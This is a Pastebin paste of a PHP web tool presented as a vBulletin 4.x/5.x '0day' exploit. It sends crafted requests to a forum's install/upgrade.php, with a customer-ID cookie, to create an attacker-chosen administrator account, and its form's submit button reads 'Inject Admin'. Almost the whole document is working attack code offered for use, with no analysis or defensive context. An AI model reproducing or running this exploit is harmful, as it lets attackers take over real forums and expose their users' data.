Advertisement
Guest User

vBulletin 0day 4.1.x / 5.x.x - AH

a guest
Sep 11th, 2013
383
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 2.85 KB | None | 0 0
  1. <xmlns="http://www.w3.org/1999/xhtml">
  2. <head>
  3. <meta http-equiv="Content-Type" content="text/html; charset=utf-8">
  4. <title>vBulletin 0day</title>  
  5. <h1><span class="gbf">vBulletin</span> 4.x.x and 5.x.x Upgrade 0day Exploit</h1>
  6. <br>Created by: eL O eL
  7. <br>Found on: 08/22/2013
  8. <br>Website: http://www.google.com
  9. <br>modified by: AH<br>
  10. <br>
  11. <?php
  12. //extract data from the post
  13. if(isset($_POST['submit'])){
  14. extract($_POST);
  15. //set POST variables
  16. $url = $_POST['url'];
  17. $fields = array(
  18.                         'ajax' => urlencode('1'),
  19.                         'version' => urlencode('install'),
  20.                         'checktable' => urlencode('false'),
  21.                         'firstrun' => urlencode('false'),
  22.                         'step' => urlencode('7'),
  23.                         'startat' => urlencode('0'),
  24.                         'only' => urlencode('false'),
  25.                         'customerid' => urlencode($_POST['customerid']),
  26.                         'options[skiptemplatemerge]' => urlencode('0'),
  27.                         'response' => urlencode('yes'),
  28.                         'htmlsubmit' => urlencode('1'),
  29.                         'htmldata[username]' => urlencode($_POST['username']),
  30.                         'htmldata[password]' => urlencode($_POST['password']),
  31.                         'htmldata[confirmpassword]' => urlencode($_POST['password']),
  32.                         'htmldata[email]' => urlencode($_POST['email'])
  33.                 );
  34. //url-ify the data for the POST
  35. foreach($fields as $key=>$value) { $fields_string .= $key.'='.$value.'&'; }
  36. rtrim($fields_string, '&');
  37. //open connection
  38. $ch = curl_init();
  39. //set the url, number of POST vars, POST data
  40. curl_setopt($ch,CURLOPT_URL, $url);
  41. curl_setopt($ch,CURLOPT_POST, count($fields));
  42. curl_setopt($ch,CURLOPT_POSTFIELDS, $fields_string);
  43. curl_setopt($ch, CURLOPT_COOKIESESSION, TRUE);
  44. curl_setopt($ch, CURLOPT_COOKIE, 'bbcustomerid='.$_POST['customerid'] );
  45. //execute post
  46. $result = curl_exec($ch);
  47. //close connection
  48. curl_close($ch);
  49. exit();
  50. }
  51. ?>
  52. <center>
  53. <form name="sploit" method="POST" action="<?php echo $_SERVER['REQUEST_URI']; ?>">
  54. <span>Example:http://test.com/forum/install/upgrade.php</span><br>
  55.   <span>Website:</span>
  56.     <input name="url" type="text" tabindex="1" size="60" />
  57.     <br>
  58.     <span>Customer ID:</span>
  59.     <input name="customerid" type="text" tabindex="2" size="40" />
  60.     <br>
  61.     <span>Username:</span>
  62.     <input name="username" type="text" tabindex="3" size="40" />
  63.     <br>
  64.     <span>Password:</span>
  65.     <input name="password" type="text" tabindex="4" size="40" />
  66.     <br>
  67.     <span>Email:</span>
  68.     <input name="email" type="text" tabindex="5" maxlength="40" />
  69.    
  70. <input name="submit" type="submit" value="Inject Admin">
  71. </form>
  72. </center>
  73. </div>
  74. </pre>
  75. <p class="a">&nbsp;</p>
  76. <p align="center">
  77. </body></html>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement